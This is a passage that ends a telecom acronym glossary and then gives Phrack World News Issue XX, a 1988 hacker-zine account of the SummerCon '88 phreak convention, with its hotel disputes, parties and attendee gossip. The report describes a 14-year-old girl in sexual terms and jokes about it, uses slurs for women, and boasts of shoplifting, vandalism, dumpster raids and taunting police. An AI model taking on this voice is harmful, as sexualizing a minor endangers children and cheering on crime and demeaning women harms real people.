OFNPS Outstate Facility Network Planning System

OGT OutGoing Trunk

OMM Output Message Manual

OMPF Operation and Maintenance Processor Frame

ONAC Operations Network Administration Center

ONAL Off Network Access Line

ONI Operator Number Identification

OP Outside Plant

OPC Originating Point Codes

OPEOS Outside Plant planning, Engineering & construction Operations Sys tem

OPM Outside Plant Module

OPS Off‑Premises Station

OPSM Outside Plant Subscriber Module

OPX Off‑Premises eXtension

OR Originating Register

ORB Office Repeater Bay

ORM Optical Remote Module

OS Operator Service

OS OutState

OSAC Operator Services Assistance Center

OSC Operator Services Center

OSC OSCillator

OSDS Operating System for Distributed Switching

OSI Open Systems Interconnection

OSO Originating Signaling Office

OSP OutSide Plant

OSPS Operator Service Position System

OSS Operator Service System

OUTWATS OUTward Wide Area Telecommunications Service

OW Over‑Write

P/AR Peak‑to‑Average Ratio

PA Power Allarm

PA Program Address

PABX Private Automatic Branch eXchange

PACE Program for Arrangement of Cables and Equipment

PACT Prefix Access Code Translator

PAD Packet Assembly/Disassembly

PAM Pulse‑Ampitude Modulation

PAN Personal Account Number

PANS Pretty Advanced New Stuff

PAS Public Announcement Service

PAT Power Alarm Test

PAX Private Automatic eXchange

PBC Peripheral Bus Computer

PBC Processor Bus Controller

PBD Pacific Bell Directory

PBX Private Branch eXchange

PC Primary Center

PCDA Program Controlled Data Acquisition

PCH Parallel CHannel

PCM Pulse‑Code Modulation

PCO Peg Count and Overflow

PCTV Program Controlled TransVerters

PD Peripheral Decoder

PDF Power Distribution Frame

PDI Power and Data Interface

PDN Public Data Network

PDSP Peripheral Data Storage Processor

PE Peripheral Equipment

PECC Product Engineering Control Center

PFPU Processor Frame Power Unit

PH Parity High bit

PIA Plug‑In Administrator

PIC Plastic‑Insulated Cable

PIC Primary Independent Carrier

PICS Plug‑in Inventory Control System (PICS/DCPR)

PIN Personal Identification Number

PIP Packet Interface Port

PL Parity Low bit

PM Peripheral Module

PM Plant Management

PMAC Peripheral Module Access Controller

PMU Precision Measurement Unit

PNB Pacific Northwest Bell

PNPN Positive‑Negative‑Positive‑Negative devices

POB Periphal Order Buffer

POF Programmable Operator Facility

POP Point Of Presence

POTS Plain Old Telephone Service

PP Post Pay

PPD Peripheral Pulse Distributor

PPN Public Packet Switching

PPS Product Performance Surveys

PPS Public Packet Switching network

PRCA Puerto Rico Communications Authority

PREMIS PREMises Information System

PRI Primary Rate Interface

PROM Programmable Read‑Only Memory

PROMATS PROgrammable Magnetic Tape System

PROTEL PRocedure Oriented Type Enforcing Language

PRS Personal Response System

PRTC Puerto Rico Telephone Company

PS Program Store

PSAP Public Safety Answering Point

PSC Prime Service Contractor

PSC Public Safety Calling system

PSC Public Service Commission

PSDC Public Switched Digital Capability

PSE Packet Switch Exchange

PSIU Packet Switch Interface Unit

PSK Phase‑Shift Keying

PSM Packet Service Module

PSM Position Switching Module

PSN Packet Switched Network

PSN Public Switched Network

PSO Pending Service Order

PSS Packet Switch Stream

PSS Packet Switched Services

PSTN Public Switched Telephone Network

PSU Program Storage Unit

PSW Program Status Word

PT Program Timer

PTAT Private Trans Atlantic Telecommunications

PTT Postal Telephone and Telegraph

PTW Primary Translation Word

PUC Peripheral Unit Controller

PUC Public Utilities Commission

PVC Permanent Virtual Circuits

PVN Private Virtual Network

QAM Quadrature‑Amplitude Modulation

QAS Quasi‑Associated Signaling

QMP Quality Measurement Plan

QRSS Quasi Random Signal Source

QSS Quality Surveillance System

R Ring

R&R Rate & Route

R&SE Research & Systems Engineering

R/O Read/Only

R/W Read Write

R/WM Read/Write Memory

RAM Random‑Access Memory

RAND Rural Area Network Design

RAO Regional Accounting Office

RAO Revenue Accounting Office

RAR Return Address Register

RASC Residence Account Service Center

RBHC Regional Bell Holding Company

RBOC Regional Bell Operating Company

RBOR Request Basic Output Report

RC Regional Center

RC Resistance‑Capacitance

RC MAC Recent Change Memory Administration Center

RCC Radio Common Carrier

RCC Remote Cluster Controller

RCC Reverse Command Channel

RCF Remote Call Forwarding

RCLDN Retrieval of Calling Line Directory Number

RCM Remote Carrier Module

RCSC Remote Spooling Communications Subsystem

RCU Radio Channel Unit

RCVR ReCeiVeR

RDES Remote Data Entry System

RDS Radio Digital System

RDT Radio Digital Terminal

REC Regional Engineering Center

REM Remote Equipment Module

REMOBS REMote OBservation System

REN Ring Equivalence Number

REXX REstructred eXtended eXecuter language

RF Radio Frequency

RID Remote Isolation Device

RISLU Remote Integrated Services Line Unit

RLCM Remote Line Concentrating Module

RLT Remote Line Test

RMAS Remote Memory Administration System

RMR Remote Message Registers

RMS Root‑Mean‑Square

RN Reference Noise

RNOC Regional Network Operations Center

RO Receive Only

ROB Remote Order Buffer

ROC Regional Operating Company

ROH Receiver Off Hook

ROM Read‑Only Memory

ROTL Remote Office Test Line

RQS Rate/Quote System

RQSM Regional Quality Service Management

RRO Reports Receiving Office

RSA Repair Service Attendant

RSB Repair Service Bureau

RSC Remote Switching Center

RSC Residence Service Center

RSCS Remote Source Control System

RSCS Remote Spooling Communications Subsystem

RSLE Remote Subscriber Line Equipment

RSLM Remote Subscriber Line Module

RSM Remote Switching Module

RSS Remote Switching System

RSTS/E Resource System Time Sharing/Enhanced

RSU Remote Switching Unit

RTA Remote Trunking Arrangement

RTL Resistor‑Transistor Logic

RTM Regional Telecommunications Management

RTM Remote Test Module

RTS Remote Testing System

RTU Remote Trunking Unit

RTU Right To Use

RUM Remote User Multiplex

RWC Remote Work Center

RX Remote eXchange

S Sleeve

SAC Service Area Code

SAC Service Area Computer

SAC Special Area Code

SAG Street Address Guide

SAI Serving Area Interface

SALI Standalone Automatic Location Identification

SAMA Step by step Automatic Message Accounting

SAR Store Address Register

SARTS Switched Access Remote Test System

SAT Special Access Termination

SAT Supervisory Audio Tone

SBMS Southwestern Bell Mobile Service

SBS Skyline Business Systems

SC Scanner Controller

SC Sectional Center

SCAT Stromberg‑Carlson Assistance Team

SCC Specialized Common Carrier

SCC Switching Control Center

SCCS Specialized Common Carrier Service

SCCS Switching Control Center System

SCF Selective Call Forwarding

SCM Subscriber Carrier Module

SCO Serving Central Office

SCOT Stepper Central Office Tester

SCOTS Surveillance & Control Of Transmissions System

SCP Signal Control Point

SCP Signal Conversion Point

SCP System Control Program

SCPC Signal Channel Per Carrier

SCPD Supplementary Central Pulse Distributor

SCU Selector Control Unit

SCX Specialized Communications eXchange

SD&D Specific Development & Design

SDIS Switched Digital Integrated Service

SDL Specification and Description Language

SDLC Synchronous Data Link Control

SDN Software‑Defined Network

SDOC Selective Dynamic Overload Controls

SDP Service Delivery Point

SDR Store Data Register

SDS Switched Data Service

SDS Synchronous Data Set

SDSC Synchronous Data Set Controller

SEAS Signaling Engineering and Administration System

SEL SELector

SES Service Evaluation System

SF Single Frequency

SFMC Satellite Facility Management Center

SG SuperGroup

SGML Standard Generic Markup Language

SGMP Simple Gateway Management Protocol

SI Status Indicator

SIC Silicon Integrated Circuit

SID System IDentification

SIT Special Information Tone

SLC Subscriber Loop Carrier

SLE Screening Line Editor

SLIC Subscriber Line Interface Circuit

SLIM Subscriber Line Interface Module

SM Switching Module

SMAS Supplementary MAin Store

SMAS Switched Maintenance Access System

SMASF SMAS Frame

SMASPU SMAS Power Unit

SMDF Subscriber Main Distributing Frame

SMDI Subscriber Message Desk Interface

SMDR Station Message Detailed Recording

SMG SuperMasterGroup

SMS Service Management System

SMSA Standard Metropolitan Statistical Area

SMTP Simple Mail Transfer Protocol

SNA System Network Architecture

SNADS System Network Architecture Distribution Service SNET Southern New England Telephone

SOAC Service Order Analysis Control

SOC Service Oversight Center

SOH Service Order History

SONAR Service Order Negotiation And Retrieval

SONDS Small Office Network Data System

SP Signal Processor

SP Signaling Point

SPAN Space Physics Analysis Network

SPAN System Performance ANalyzer

SPC Southern Pacific Communications

SPC Stored Program Control

SPCS Stored Program Control Systems

SPI Serial Peripheral Interface

SPUC/DL Serial Peripheral Unit Controller/Data Link

SQL/DS Structured Query Language/Data System

SRA Selective Routing Arrangement

SS Special Services

SSAS Station Signaling and Announcement Subsystem

SSB Single‑SideBand

SSBAM Single‑SideBand Amplitude Modulation

SSC Special Services Center

SSCP Subsystem Services Control Point

SSO Satellite Switching Office

SSP Signal Switching Point

SSP Sponsor Selective Pricing

SSP System Status Panel

SSPC SSP Controller

SSPRU SSP Relay Unit

SSTTSS Space‑Space‑Time‑Time‑Space‑Space network

ST STart

STC Serving Test Center

STC Switching Technical Center

STD Subscriber Trunk Dialing

STDM Statistical Time Division Multiplexing

STP Signal Transfer Point

STS Shared Tenant Service

STS Space‑Time‑Space network

SVC Switched Virtual Circuits

SVS Switched Voice Service

SWB SouthWestern Bell

SX SimpleX signaling

SXS Step by (X) Step

SYC SYstem Control

SYSGEN SYStem GENeration

T Tip

T1/OS T1 carrier OutState

T1FE T1 carrier Front End

TA Terminal Adaptor

TA Transfer Allowed

TAC Terminal Access Circuit

TAP Telephone Assistance Plan

TAS Telephone Answering Service

TASC Technical Assistance Service Center

TASC Telecommunications Alarm Surveillance and Control system TASI Time Assignment Speech Interpolation system

TAT TransAtlantic Telephone

TC Timing Counter

TC Toll Center

TCAP Transaction Capabilities Applications Port

TCAS T‑Carrier Administration System

TCC Trunk Class Code

TCG Test Call Generation

TCM Time Compression Multiplexer

TCM Trellis Coded Modulation

TCR Transient Call Record

TDAS Traffic Data Administration System

TDC Tape Data Controller

TDC Terrestrial Data Circuit

TDD Telecommunications Device for Deaf

TDM Time Division Multiplexing

TE Terminal Equipment

TE Transverse Electric

TEHO Tail End Hop Off

TELSAM TELephone Service Attitude Measurement

TERM TERMinal

TFLAP T‑carrier Fault‑Locating Applications Program

TFS Trunk Forecasting System

TGC Terminal Group Controller

TGN Trunk Group Number

TH Trouble History

TIA Telephone Information Access

TIRKS Trunk Integrated Record Keeping System

TLM Trouble Locating Manual

TLN Trunk Line Network

TLP Transmission Level Point

TLTP Trunk Line and Test Panel

TM Transverse Magnetic

TMDF Trunk Main Distributing Frame

TMMS Telephone Message Management System

TMR Transient Memory Record

TMRS Traffic Measurement and Recording System

TMRS Traffic Metering Remote System

TMS Time‑Multiplexed Switch

TN Telephone Number

TN Transaction Number

TNDS Total Network Data System

TNN Trunk Network Number

TNOP Total Network Operation Plan

TNPC Traffic Network Planning Center

TOPS Timesharing OPerating System

TOPS Traffic Operator Position System

TP Toll Point

TPMP Total network data system Performance Measurement Plan TR Test Register

TR Transfer Register

TREAT Trouble Report Evaluation Analysis Tool

TRMTR TRamsMiTteR

TRR Tip‑Ring Reverse

TSCPF Time Switch and Call Processor Frame

TSCPF Time Switch and Central Processor Frame

TSI Time Slot Interchanger

TSO Time Sharing Option

TSORT Transmission System Optimum Relief Tool

TSP Test SuPervisor

TSP Traffic Service Position

TSPS Traffic Service Position System

TSS Trunk Servicing System

TSST Time‑Space‑Space‑Time network

TST Time‑Space‑Time network

TST Traveling‑Wave Tube

TSTS Time‑Space‑Time‑Space network

TT Trunk Type

TTC Terminating Toll Center

TTL Transistor‑Transistor Logic

TTP Trunk Test Panel

TTS Trunk Time Switch

TTTN Tandem Tie Trunk Network

TTY TeleTYpewriter

TTYC TTY Controller

TUR Traffic Usage Recording

TUR Trunk Utilization Report

TWX TeletypeWriter eXchange

UCD Uniform Call Distribution

UIC User Identification Code

UID User ID

UITP Universal Information Transport Plan

UNISTAR UNIversal Single call Telecommunications Answering & Repair USB Upper Side Band

USITA United States Independent Telephone Association

USO Universal Service Order

USOC Universal Service Order Code

USP Universal Sampling Plan

UUCICO Unix to Unix Copy Incoming Copy Outgoing

UUCP Unix to Unix Copy Program

VAN Value Added Network

VC Virtual Circuit

VCS Virtual Circuit System

VF Voice Frequency

VFY VeriFY

VGF Voice Grade Facility

VHF Very High Frequency

VINES VIrtual NEtwork Software

VIU Voiceband Interface Unit

VLSI Very Large‑Scale Integrated circuitry

VM/SP Virtual Machine/System Product

VMCF Virtual Machine Communications Facility

VMR Volt‑Meter Reverse

VMRS Voice Message Relay System

VMS Virtual Memory operating System

VMS Voice Mail System

VMS Voice Management System

VNF Virtual Network Feature

VNL Via Net Loss plan

VNLF Via Net Loss Factor

VODAS Voice Over Data Access Station

VPN Virtual Private Network

VRS Voice Response System

VSAM Virtual Storage Access Method

VSAT Very Small Aperature Terminal

VSB Vestigial SideBand modulation

VSE Virtual Storage Extended

VSR Voice Storage and Retrieval

VSS Voice Storage System

VSSP Voice Switch Signaling Point

VTAM Virtual Telecommunications Access Method

VTI Virtual Terminal Interface

VTOC Volume Table Of Contents

VTS Video Teleconferencing System

WAN Wide Area Network

WATS Wide Area Telephone Service

WC Wire Center

WCPC Wire Center Planning Center

WDT Watch Dog Timer

WM Work Manager

XB X‑Bar

XBAR X‑BAR

XBT X‑Bar Tandem

XFE X‑Front End

XMS eXtended Multiprocessor operating System

^*

Phrack World News XX Featuring SummerCon '88

==Phrack Inc.==

Volume Two, Issue 20, File 12 of 12

PWN ^*^ PWN ^*^ PWN { SummerCon '88 } PWN ^*^ PWN ^*^ PWN

^*^

PWN Phrack World News PWN

^*^ Issue XX ^*^

PWN PWN

^*^ "SummerCon Strikes Again" ^*^

PWN ‑‑‑‑‑ PWN

^*^ Created, Written, and Edited ^*^ PWN by Knight Lightning PWN

^*^

PWN (It is good to be back!) PWN

^*^

PWN ^*^ PWN ^*^ PWN { SummerCon '88 } PWN ^*^ PWN ^*^ PWN

Welcome to Phrack World News Issue XX. Whew! Issue 20 already? I have been gone too long. This issue features the exclusive coverage of SummerCon 1988, which took place in St. Louis, Missouri during the weekend of July 22‑24, 1988. Before we get to the bulk of the issue I'd like to make a note that this year's turnout was even greater than last year's with the majority of those claiming they would attend, actually showing up... we had a great time. ‑KL

Please Note: All the events depicted in this story are based on the observations as seen by Knight Lightning (me).

PreCon '88; A Little Background

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

When Taran King and I went off to college, Sir Francis Drake picked up running Phrack Inc. and PWN. Taran gave the rights to SummerCon to Sir Francis Drake as well, although it was not really his right to give away. At any rate, SFD intended to hold SummerCon '88 in New York City, possibly by trying to get Bill >From RNOC or Tuc to help him out, since SFD lived out on the west coast. A lot of publicity was put out in both 2600 Magazine and WORM (a hardcopy magazine for "cyberpunks" written and distributed by Sir Francis Drake himself). However, eventually it became quite clear that SummerCon '88 would not be held in NYC, at least not by SFD.

In the meantime, there was quite a bit of controversy concerning SummerCon '88 on a bulletin board known as The Forgotten Realm, run by Crimson Death 618. Apparently the members of TFR were trying to figure out where to have the convention. Control C said that he would hold SummerCon '88 in Detroit, Michigan, but the only person who really liked that idea was Ax Murderer.

Eventually it came down to two places; New York City or St. Louis, Missouri. The discussion went on for over a month with everyone leaning heavily towards St. Louis. The clincher came when Prime Suspect received word from myself, that we were indeed planning SummerCon '88 here in St. Louis. So on June 19, 1987 (the ONE year anniversary of SummerCon '87) Crimson Death contacted Phantom Phreaker to get to Taran King who in turn passed the word on to me and I called Crimson Death. We set the date and as such, the actual preliminary planning for SummerCon '88 had begun.

Crimson Death sent the word out and I finally had a chance to release the idea I had conceived two months prior... The Phoenix Project. The new millennium has begun and the rebirth of the phreak/hack community has been achieved. In fact, this rebirth is currently evident in a more physical fashion on a fairly new bulletin board earning its name from my idea...

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

The Phoenix Project

300/1200/2400 Baud

(512) 754‑8182

Brought to you by The Mentor!

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

SummerCon '88; Not As Planned... Friday Morning, July 22, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Coincidentally, Tuc was again this year's first arrival from out of town. Taran King, Forest Ranger, and I arrived at the airport to greet him and after some hassle at Lambert Field, we grabbed some lunch and went to this year's official SummerCon hotel; the Ramada Inn ‑ Westport.

>From here things did not go exactly to plan. Over three weeks in advance I had reserved a double room in Forest Ranger's name to serve as the Phrack Inc. room or whatever as sort of a base of operations. Ramada had a super savers weekend promotion going on all through summer where a limited number of rooms (doubles) could be purchased for a special weekend rate of $33.90. Well I was sure to get this rate and was given a reservation identification number. However, the check‑in counter at first denied this and then finally pulled up the file. They insisted that the room was for $68.00 and that was what we were told. They were incorrect. At about this time, Taran and I had wandered into the main lobby where we were confronted by a guy who subtly said, "Are you here for SummerCon ?"

It was The Dictator, who had come from Phoenix, Arizona (602 NPA). He had already gotten a room (211) at the ridiculous price of $68.00. Unfortunately, we still had a problem, because the hotel supervisor insisted that we weren't 21 anyway and by Missouri State Law they could not legally rent us a room at any rate. This is when I jumped in saying we had reserved the room for Tuc who was 22 and I had been promised the rate of $33.90. The supervisor began to tell some story of a computer error (yeah right) and the person who guaranteed the room was wrong. I argued that it was their problem and not ours if there was indeed this computer error and that this gross display of bad business and false advertising would be reported to the Better Business Bureau. In the meantime Tuc, Taran, and Forest Ranger had grabbed a copy of the Southwestern Bell Yellow Pages (it really is easier to let your fingers do the walking) and were checking out other hotels in the Westport area. My biggest concern was for all the guests driving in who thought we would be at the Ramada. It was not long before the hotel supervisor had spoken to the hotel manager and they offered us the room for a flat rate of $40.00. We took it. The rooms were quite nice actually and would serve our purposes well.

Taran and I ran off on separate errands, while Forest Ranger and Tuc visited Westport Plaza to do some shopping. When Taran and I returned, we ran into another interesting person who said, "You guys here for SummerCon?" It was Dr. Cypher of Bellcore and with him was Mike (a non phreak/hack type, but cool just the same) and Hatchet Molly, a 23 year old graduate student at Northern Illinois University who was working on his thesis; the social atmosphere of the phreak/hack community or something like that.

It was only about 20 minutes later when I wandered down to the lobby and found Lucifer 666 and Synthetic Slug checking in. Standing five feet behind them was another fearsome threesome made up of Crimson Death 618, Phrozen Ghost, and Surfer Bob. PG and SB had been visiting Crimson Death earlier that week prior to reaching SummerCon and they all arrived at the same time. Lucifer 666 and Synthetic Slug got a room, while the others crashed in the Phrack Inc. room.

SummerCon '88; Back At Lambert Friday Afternoon, July 22, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

It was time for another trip to the airport for me, Taran, Tuc, and Forest Ranger. We arrived just in time to meet up with The Mentor and Cisban Evil Priest. They were easy to spot because they were the only guys on the plane that were not wearing suits and/or did not have any children with them.

Once greetings had taken place, Mentor unveiled a surprise ‑‑ buttons especially made for distribution at SummerCon '88. Created with a laser printer they displayed a large "NO FEDS" with a circle and line through it (like a No U‑Turn sign), and also naming The Phoenix Project (the board), the baud rate, and phone number. He brought more than enough for everyone.

After some running around the airport and a brief lounge at one of the airport's bars, we proceeded to meet up with Control C and Bad Subscript who had flown in from Detroit, Michigan. We divided up again and headed for the hotel. Taran King, Tuc, and Cisban Evil Priest rode with me while The Mentor, Control C, and Bad Subscript rode with Forest Ranger. Control C decided he was hungry and FR drove to the nearest McDonald's where he went on to cut off a customer in the drive‑through lane and pulled right to the window to pick up some food... not his food, but who cares.

"That will be $3.00, sir."

"What exactly do I get for my $3.00?"

"Two regular cheese burgers, a large fries, and a large Coke." "Okay!"

They took it and left, leaving McDonald's in a total disarray for at least a half hour.

The Mentor and Cisban Evil Priest as well as Control C and Bad Subscript both got rooms and from there SummerCon '88 really began.

SummerCon '88; Let The Good Times Roll Friday Night, July 22, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Basically it was just a big party from here on, with the old phreaks meeting the new, and some re‑acquaintances. Control C brought down some gifts as well ‑‑ posters from Michigan Bell.

"I would shred everything, because we get so much information out of the dumpster, it's unreal..."

It was signed by Control C himself and he told us that these posters now appear in all Michigan Bell central offices and other places of business. The picture on the poster featured Control C's own personal stash that he had gotten from Michigan Bell.

We had some other guests arrive during the night. Terminal Technocrat and a friend of his (who did have a handle, but I didn't catch it) arrived from Milwaukee, Wisconsin. A friend of Forest Ranger's named Mike also showed up with Kari, Cary, Katie, Susie, and Amy [some serious bitches]. The main party ran through The Dictator's room until a series of threatening calls from the front desk forced TD to clear everyone out of his room.

In the meantime, Cary (a nymphomaniac 14‑year old) was running up Tuc's phone bill and hitting on everyone at the convention. She ended up with Cisban Evil Priest in his room (that he shared with The Mentor). However, since clearing out of The Dictator's room the majority of the party crew all ran into Mentor and Priest's room causing quite a disturbance. When The Mentor heard about this he ran to his room and threw them all out. This action set the rest of the night's activities to a certain theme ‑‑ The Fury of Forest Ranger.

You see Forest Ranger was quite a bit drunk and became incredibly pissed off when he found out that his friends were mistreated. A few of us returned to The Dictator's room where FR made several threatening phone calls to The Mentor and was promptly hung up on. Apparently that was the last straw because FR went into an unstoppable rage that trashed most of the items in the room and then he started through the hotel. After damaging several items in the hotel hallways, Forest Ranger proceeded to attack a light fixture in the emergency stairwell and in doing so, sliced his hand open on the newly broken glass.

Emergency measures were called for ‑‑ Tuc and Lucifer 666 played rescue team and took Forest Ranger to a not so nearby United States Air Force Hospital in Illinois, where Forest Ranger was stitched up.

After the excitement, most of the people at the convention had mellowed out and Dr. Forbin left to take Cary home (we still don't know what happened to the two of them, but rumor is that Forbin is making a tremendous recovering from several serious venereal diseases.)

At some point this evening Terminal Technocrat, Dr. Cypher, and a few others decided to go on a trashing run. It didn't really turn out as planned and they ended up at Southwestern Bell Publications (where the cameras are almost as big as the dumpsters). It was unsuccessful, but at least there were no casualties.

The final interesting part of this evening was the arrival of The Leftist and The Ur‑Vile from Atlanta, Georgia. This arrival is important to make a note of because with the exception of the time spent immediately after they got to the hotel, The Ur‑Vile spent the entire remainder of SummerCon '88 asleep.

SummerCon '88; So What Now? Saturday, July 23, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~

Just about everyone went to Union Station, a luxurious shopping mall in downtown St. Louis. However, a few of us including Taran King and myself arrived at the hotel in time to meet our final guests for the weekend ‑Phantom Phreaker and Doom Prophet.

Taran King and myself took a Crimson Death back to TK's to let him copy some unreleased files for Phrack Inc. (since he had been running it at the time). However, now those files will be put out by the original Phrack team.

The main part of the convention started sometime after that and I presented the second public hearing of the now famous Dan The Operator/John Maxfield and the Dan The Operator/Il Duce (Phiber Optick) recordings which were featured in Phrack World News XV, which was published last year. I have decided to make this an annual event and those wishing a copy of the tape should get in contact with me through Epsilon, The Prophet, or through Bitnet.

Unfortunately, the most important information learned at this year's convention cannot be published. However, when looking at the amount and the extent of information brought forth at this year's convention, it makes last year's look like a day at pre‑school. If the level jumps like this next year, I think that the world had better watch out because today's phreak/hacks are definitely getting smarter and better every year. The key is to stay out of trouble long enough to gain experience that will keep you out of trouble.

The Leftist brought a terminal with him and it would have been a great "toy" to have at the convention except no one had the extra phone cord necessary to put it to good use.

The rest of Saturday evening was just a mix of story telling, partying, and some deep technical discussions. There was some element of danger present. It would seem that because of the trouble from the previous evening that the hotel management had arranged to have some extra security present in case things got out of hand. The Maryland Heights police force sent a pair of officers over, and they were indeed the rudest individuals I have ever met.

At one point in the evening, Lucifer 666 and I had traveled down to the lobby by way of the stairs and when arrived, the greetings from "officer friendly" reminded me of last SummerCon's police incident ("Run to me boys!").

(We were wearing our "NO FEDS" pins during this incident)

"You two come here, NOW!"

"What? Waitasec we are guests here (holding up keys)."

"I can't see that far, you come here, NOW!"

"Why did you take the stairs instead of the elevator!?" "The elevator was too slow, sir."

"What are you doing down here?"

"Going to the soda and candy machines."

"I don't want any messing around here tonight, you got that!?" "Yes, we are not looking for problems."

A couple of hours later, I had decided to go to my car to drop a few items off and found myself being followed by the same officer. After I had been to my car, I started back towards the hotel with this jerk eyeballing me. When I had reached the building I asked him...

"Is there a problem officer?"

"No, you got a problem!? Do you want to have a problem!?" "Nope."

After this incident I returned everyone's room keys, exited the hotel by a back stairway, hopped into my car and pulled around to the front where the lobby and the two officers were. I calmly honked a couple of times and with my lights off so as not to reveal my plates, gave them "the bird." I left the area at a rather fast pace after that.

SummerCon '88; All Good Things Must Come To An End Sunday, July 24, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By the time I returned on Sunday morning, Terminal Technocrat and his friend had long since been gone as well as Dr. Cypher, Hatchet Molly and Mike. The rest of us hung out for a while as we prepared to pack everything up and send everyone home. The Leftist, The Ur‑Vile, Lucifer 666, and Synthetic Slug had to cruise and in the meantime I took Tuc, Control C, and Bad Subscript to the airport breaking five speed limits in order for them to catch their newly scheduled flights.

After which this left me, Forest Ranger, Phantom Phreaker, Doom Prophet, The Mentor, Cisban Evil Priest, Crimson Death, Phrozen Ghost, and Surfer Bob. We were soon joined by Amy and Katie and we all headed out to the St. Louis Galleria, another shopping plaza. On the way, we toured through some of StL's richer sections of town and as we went on became separated from Forest Ranger in downtown Clayton. After five minutes of massive confusion we were once again on track and eventually met up with Forest Ranger and Surfer Bob who was with him at a music store inside the plaza.

We killed about two hours there between lunch, Phrozen Ghost's Unix Manual heist from B. Dalton Booksellers, and the Phantom Phreaker/Doom Prophet Vs. "Goons From Hell" skateboard confrontation. So after all was said and done, Forest Ranger took Crimson Death, Phrozen Ghost, and Surfer Bob back to Ramada to get their car, Phantom Phreaker and Doom Prophet hit the highway, and The Mentor and Cisban Evil Priest went with me back one last time to Lambert Field, where I dropped them off.

And that was SummerCon '88 ...

________________________________________

PostCon '88; Some Things To Make A Note Of...

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This year's SummerCon posters were made by Knight Lightning and they featured AT&T, MCI, U.S. Sprint and the FON card, Southwestern Bell, ISDN diagrams, Pink Floyd, Domino's Pizza, and many other interesting items including; Oryan QUEST!

"I *Demand* you attend SummerCon!"

"I demand to be let back on MSP! or I will UNLEASH with FULL FORCE (and put a maintenance busy on you!)"

To obtain a copy of this poster contact Epsilon, The Prophet or try and find me on Bitnet.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Control C and The Mentor were both made members of the Legion Of Doom/Hackers.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Mentor's now famous Hacker's Manifesto which was first released in Phrack Inc. Issue VII appeared in the September issue of Thrasher Magazine.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Dictator is looking for users to call his bulletin board... The Dark Side (Commodore 128) 602‑789‑9269

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Who Was This Year's Fed/Informant? I have some strong possibilities about that, , but there is an interesting twist to the story. On Monday evening, July 25, 1988, Forest Ranger claimed that he had received a call (from a source he refused to disclose) stating that Secret Service was indeed at SummerCon '88 and were in room 209 (right next to 211 ‑ The Dictator's room) and another room supposedly under Control C and Bad Subscript's room.

There were reports of supposed Secret Service agents at Ramada, but the general idea was that even if they were legitimate, it was because of Democratic Presidential nominee Govenor Michael S. Dukakis, who was visiting St. Louis that weekend. When I heard all of this, I paid no attention to it because the way it was described, it was just a bunch of jerks being pesky about the "NO FEDS" pins.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Special Thanks goes to Epsilon and Crimson Death. Without their help, there would not have been a SummerCon this year and thanks to their efforts, I will see to it that there will be a SummerCon for many years to come.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

According to Dr. Cypher, Byteman was supposed to fly down to St. Louis for the convention, but ran into a mishap with airport security. In his carry‑on bag he had several switch blade knives and six blue boxes, which at the time were believed to be detonators for some kind of explosive. After being held at the airport, Byteman was met by the FBI who had verified that the items in question were not detonators, however they did recognize what they were and now Byteman is facing charges of conspiracy to commit toll fraud, etc.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Crimson Death claims to have received a call from John F. Maxfield a few days preceding SummerCon '88. Apparently he wanted an invitation to the convention. Nevertheless, he did not show up. Also, there was some talk about Richard Sandza going to SummerCon, but he was not there either.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Ramada Inn Lost And Found:

‑ Has anyone seen the 1981 Employee Of The Month Plaque?

‑ Whoever took it must have been out of CONTROL.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

SummerCon '88 Guest List

~~~~~~~~~~~~~~~~~~~~~~~~

Bad Subscript / Cisban Evil Priest / Control C / Crimson Death Dr. Cypher / Dr. Forbin / Doom Prophet / Forest Ranger / Hatchet Molly Knight Lightning / Lucifer 666 / Phantom Phreaker / Phrozen Ghost Surfer Bob / Synthetic Slug / Taran King / Terminal Technocrat / The Dictator The Leftist / The Mentor / The Ur‑Vile / Tuc

Plus;

Katie, Cary, Kari, Amy, Susie, Mike1, Mike2, and Terminal Technocrat's friend.

Bringing this year's total attendance to 28 people.

Hope you enjoyed the article because the future is forever.

:Knight Lightning ‑ The magic is back... With a VENGEANCE!

________________________________________

<><><><><><><><><><><><><><><><><><><><K><><><><><><><><><><><><><><><><><><><>

<>

<> THE COMMUNICATIONS FRAUD CONTROL ASSOCIATION IS DEADLIER THAN WE THOUGHT <>

<>

<> Even the most elite fear for the fate of the phreak/hack world... <> <> but Knight Lightning has a plan <>

<>

<>

<> THE VICIOUS CIRCLE <>

